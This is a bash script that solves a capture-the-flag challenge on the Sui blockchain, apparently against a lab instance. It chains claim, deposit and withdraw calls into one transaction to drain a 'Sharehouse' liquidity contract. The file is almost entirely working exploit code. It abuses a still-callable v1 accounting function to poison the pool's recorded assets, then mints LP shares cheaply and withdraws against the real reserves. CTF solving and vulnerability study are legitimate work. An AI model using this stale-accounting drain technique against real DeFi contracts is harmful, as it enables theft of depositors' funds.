#!/usr/bin/env bash
# solve-second-stamp3.sh — drain the Sharehouse in ONE transaction.
#
# v3: no coin-ID discovery. `sui client objects --json` on 1.76 emits raw BCS
# with no usable type tag, so instead every round's complete_withdraw output is
# fed straight into the next round's deposit as a PTB result. claim -> N rounds
# -> transfer, all in a single programmable transaction.
#
# Per round:  v1::refresh_aum  (poison last_aum: collapsed old_counter position,
#                               travel_counter invisible to pre-upgrade accounting)
#             v3::deposit      (mint LP against the poisoned denominator)
#             v3 profile-3 withdraw legs (pro-rata against the REAL reserves)
# Share per round = deposit_value / (deposit_value + poisoned_aum).
#
# Requires: curl, jq, python3, sui. Always restarts: claim can only run once per
# chain, and this design needs claim inside the transaction.
#
# Usage:
#   ./solve-second-stamp3.sh                 # 3 rounds
#   ./solve-second-stamp3.sh --rounds 4
#   ./solve-second-stamp3.sh --auto          # try 2..6 rounds until solved
#   ./solve-second-stamp3.sh --preview       # print the PTB, send nothing
set -euo pipefail

BASE="${BASE:-http://154.57.164.80:31527}"
ROUNDS=3
AUTO=0
PREVIEW=0
GAS=10000000000
ALIAS="secondstamp"
LIMIT_A=25000000000000000
LIMIT_B=100000000

usage() { sed -n '2,25p' "$0" | sed 's/^# \{0,1\}//'; }

while [[ $# -gt 0 ]]; do
    case "$1" in
        --base) BASE="$2"; shift 2 ;;
        --rounds) ROUNDS="$2"; shift 2 ;;
        --auto) AUTO=1; shift ;;
        --preview) PREVIEW=1; shift ;;
        --gas) GAS="$2"; shift 2 ;;
        -h|--help) usage; exit 0 ;;
        *) echo "unknown argument: $1" >&2; exit 2 ;;
    esac
done

for t in curl jq python3 sui; do
    command -v "$t" >/dev/null || { echo "missing required tool: $t" >&2; exit 1; }
done

C_OK=$'\033[1;32m'; C_IN=$'\033[1;36m'; C_W=$'\033[1;33m'; C_E=$'\033[1;31m'; C_0=$'\033[0m'
[[ -n "${NO_COLOR:-}" ]] && { C_OK=; C_IN=; C_W=; C_E=; C_0=; }
say()  { printf '%s==>%s %s\n' "$C_IN" "$C_0" "$*"; }
good() { printf '%s[+]%s %s\n' "$C_OK" "$C_0" "$*"; }
warn() { printf '%s[!]%s %s\n' "$C_W" "$C_0" "$*" >&2; }
die()  { printf '%s[x]%s %s\n' "$C_E" "$C_0" "$*" >&2; exit 1; }
trap 'echo; warn "interrupted"; exit 130' INT

# u128 reserves exceed bash's signed-64-bit range (travel_counter seeds 1.4e19)
le() { python3 -c "import sys;sys.exit(0 if int(sys.argv[1])<=int(sys.argv[2]) else 1)" "$1" "$2"; }
human() { python3 -c "import sys;v=int(sys.argv[1]);print(f'{v:,} ({v:.3e})')" "$1" 2>/dev/null || echo "$1"; }

# sui 1.76 `client object --json` puts move fields flat under .content and names
# the type key objType. Balance<T> serialises as a bare string.
field() {
    sui client object "$1" --json 2>/dev/null | jq -r --arg f "$2" '
        ((.content // .data.content) // {}) | .[$f]
        | if type == "object" then (.value // .fields.value // empty)
          elif type == "null" then empty else . end'
}

setup_instance() {
    say "restarting instance (fresh genesis)"
    curl -s -X POST "$BASE/api/instance/restart" >/dev/null || true
    for _ in $(seq 1 45); do
        [[ "$(curl -s "$BASE/api/instance" | jq -r '.status // empty')" == "ready" ]] && break
        sleep 2
    done

    STATE="$(curl -s "$BASE/api/instance")"
    [[ "$(jq -r '.status' <<<"$STATE")" == "ready" ]] \
        || die "instance not ready: $(jq -c '{status,message}' <<<"$STATE")"

    j() { jq -r "$1" <<<"$STATE"; }
    RPC="$(j '.deployment.rpcUrl')"
    PLAYER="$(j '.deployment.playerAddress')"
    PRIVKEY="$(j '.deployment.playerPrivateKey')"
    SETUP="$(j '.deployment.packageId')"
    CHALLENGE="$(j '.deployment.challengeObjectId')"
    HOUSE="$(j '.deployment.objectIds.house')"
    CONFIG="$(j '.deployment.objectIds.config')"
    VERSIONED="$(j '.deployment.objectIds.versioned')"
    ORACLE="$(j '.deployment.objectIds.oracle')"
    OLD_POOL="$(j '.deployment.objectIds.oldCounterPool')"
    TRAVEL_POOL="$(j '.deployment.objectIds.travelCounterPool')"
    V1="$(j '.deployment.objectIds.v1')"
    V3="$(j '.deployment.objectIds.v3')"

    sui client envs 2>/dev/null | grep -q "$ALIAS" \
        || sui client new-env --alias "$ALIAS" --rpc "$RPC" >/dev/null
    sui client switch --env "$ALIAS" >/dev/null
    sui keytool import "$PRIVKEY" ed25519 >/dev/null 2>&1 || true
    sui client switch --address "$PLAYER" >/dev/null 2>&1 \
        || die "could not switch to player $PLAYER"
    [[ "$(sui client active-address)" == "$PLAYER" ]] \
        || die "active address is not the player"

    good "window $(j '.remainingSeconds')s  signing as ${PLAYER:0:14}…"
}

report() {
    printf '    version=%-3s last_aum=%s\n' "$(field "$VERSIONED" version)" "$(field "$HOUSE" last_aum)"
    printf '    buffer  A=%-36s B=%s\n' "$(human "$(field "$HOUSE" base_buffer)")"    "$(field "$HOUSE" quote_buffer)"
    printf '    old     A=%-36s B=%s\n' "$(human "$(field "$OLD_POOL" reserve_a)")"   "$(field "$OLD_POOL" reserve_b)"
    printf '    travel  A=%-36s B=%s\n' "$(human "$(field "$TRAVEL_POOL" reserve_a)")" "$(field "$TRAVEL_POOL" reserve_b)"
}

under_limits() {
    local ta tb oa ob ba bb
    ta="$(field "$TRAVEL_POOL" reserve_a)"; tb="$(field "$TRAVEL_POOL" reserve_b)"
    oa="$(field "$OLD_POOL" reserve_a)";    ob="$(field "$OLD_POOL" reserve_b)"
    ba="$(field "$HOUSE" base_buffer)";     bb="$(field "$HOUSE" quote_buffer)"
    le "$ta" "$LIMIT_A" && le "$tb" "$LIMIT_B" \
 && le "$oa" "$LIMIT_A" && le "$ob" "$LIMIT_B" \
 && le "$ba" "$LIMIT_A" && le "$bb" "$LIMIT_B"
}

# ══════════════════════════════════════════════════ PTB builder
#
# claim gives (Coin<PALE_WAX>, Coin<GOLD_FLECK>) as c.0 / c.1, and
# complete_withdraw returns the same pair — so round r+1 spends round r's output
# directly. Nothing is ever transferred to the wallet mid-chain, which is what
# removes the need to look coin IDs up at all.
#
# Leg order is load-bearing: process_buffer asserts every other leg is done and
# complete_withdraw re-asserts it. The two-pool collect_position_* variants are
# required — the single-pool collect_fees/collect_rewards set the same _done
# flags but skip travel_counter, and both cannot be called.
#
# WithdrawReceipt has no `drop`, so a receipt must be consumed in the same
# transaction it was created — which this design satisfies by construction.

build_ptb() {
    local n="$1" r w g
    PTB=()
    PTB+=(--move-call "$SETUP::setup::claim" "@$CHALLENGE" --assign c)
    w="c.0"; g="c.1"

    for r in $(seq 1 "$n"); do
        PTB+=(--move-call "$V1::accounting::refresh_aum" \
                  "@$HOUSE" "@$VERSIONED" "@$OLD_POOL" "@$ORACLE" "@0x6")
        PTB+=(--move-call "$V3::accounting::deposit" \
                  "@$HOUSE" "@$CONFIG" "@$VERSIONED" "$w" "$g" --assign "lp$r")
        PTB+=(--move-call "$V3::withdraw::new_withdraw_cert" \
                  "@$HOUSE" "@$CONFIG" "@$VERSIONED" "lp$r" --assign "rc$r")
        PTB+=(--move-call "$V3::withdraw::process_old_counter"      "@$HOUSE" "rc$r" "@$OLD_POOL")
        PTB+=(--move-call "$V3::withdraw::withdraw_travel_counter"  "@$HOUSE" "rc$r" "@$TRAVEL_POOL")
        PTB+=(--move-call "$V3::withdraw::collect_position_fees"    "@$HOUSE" "rc$r" "@$OLD_POOL" "@$TRAVEL_POOL")
        PTB+=(--move-call "$V3::withdraw::collect_position_rewards" "@$HOUSE" "rc$r" "@$OLD_POOL" "@$TRAVEL_POOL")
        PTB+=(--move-call "$V3::withdraw::process_buffer"           "@$HOUSE" "rc$r")
        PTB+=(--move-call "$V3::withdraw::complete_withdraw"        "@$HOUSE" "rc$r" --assign "out$r")
        w="out$r.0"; g="out$r.1"
    done

    PTB+=(--transfer-objects "[$w, $g]" "@$PLAYER" --gas-budget "$GAS")
}

attempt() {  # attempt <rounds> -> 0 if the instance grades it solved
    local n="$1"
    setup_instance
    say "seeded state"; report

    [[ "$(field "$VERSIONED" version)" == "1" ]] \
        && good "Versioned.version=1 — set_version has no callers, v1 stays callable" \
        || warn "Versioned.version is not 1; v1 calls may abort"

    build_ptb "$n"

    if [[ $PREVIEW -eq 1 ]]; then
        say "PTB for $n round(s):"
        printf 'sui client ptb'; printf ' %q' "${PTB[@]}"; echo
        return 1
    fi

    say "sending one transaction: claim + $n round(s) + transfer"
    if ! sui client ptb "${PTB[@]}" >"/tmp/ss3-$n.log" 2>&1; then
        warn "$n-round transaction failed. tail of /tmp/ss3-$n.log:"
        tail -35 "/tmp/ss3-$n.log" >&2
        echo >&2
        warn "EHardCapExceeded    -> deposit_value + last_aum crossed 2e11; try fewer rounds"
        warn "EStaleAccounting    -> refresh_aum did not land before deposit"
        warn "EUnsupportedVersion -> v1 refused the object; recheck Versioned.version"
        return 1
    fi

    good "transaction landed: $(grep -m1 'Transaction Digest' "/tmp/ss3-$n.log" || true)"
    report
    under_limits && good "every store is under its residual limit" \
                 || warn "still above limits after $n round(s)"

    say "asking the instance to grade it"
    local result; result="$(curl -s -X POST "$BASE/api/instance/check")"
    jq . <<<"$result" 2>/dev/null || echo "$result"

    if jq -e '((.solved // .ok // false) == true) or ((.flag // "") | length > 0)' \
        >/dev/null 2>&1 <<<"$result"; then
        good "SOLVED with $n round(s)"
        jq -r '.flag // empty' <<<"$result"
        return 0
    fi
    return 1
}

if [[ $AUTO -eq 1 ]]; then
    for n in 2 3 4 5 6; do
        say "═══ attempt: $n round(s) ═══"
        attempt "$n" && exit 0
    done
    die "no round count in 2..6 solved it — check the state dumps above"
else
    attempt "$ROUNDS" && exit 0
    exit 1
fi
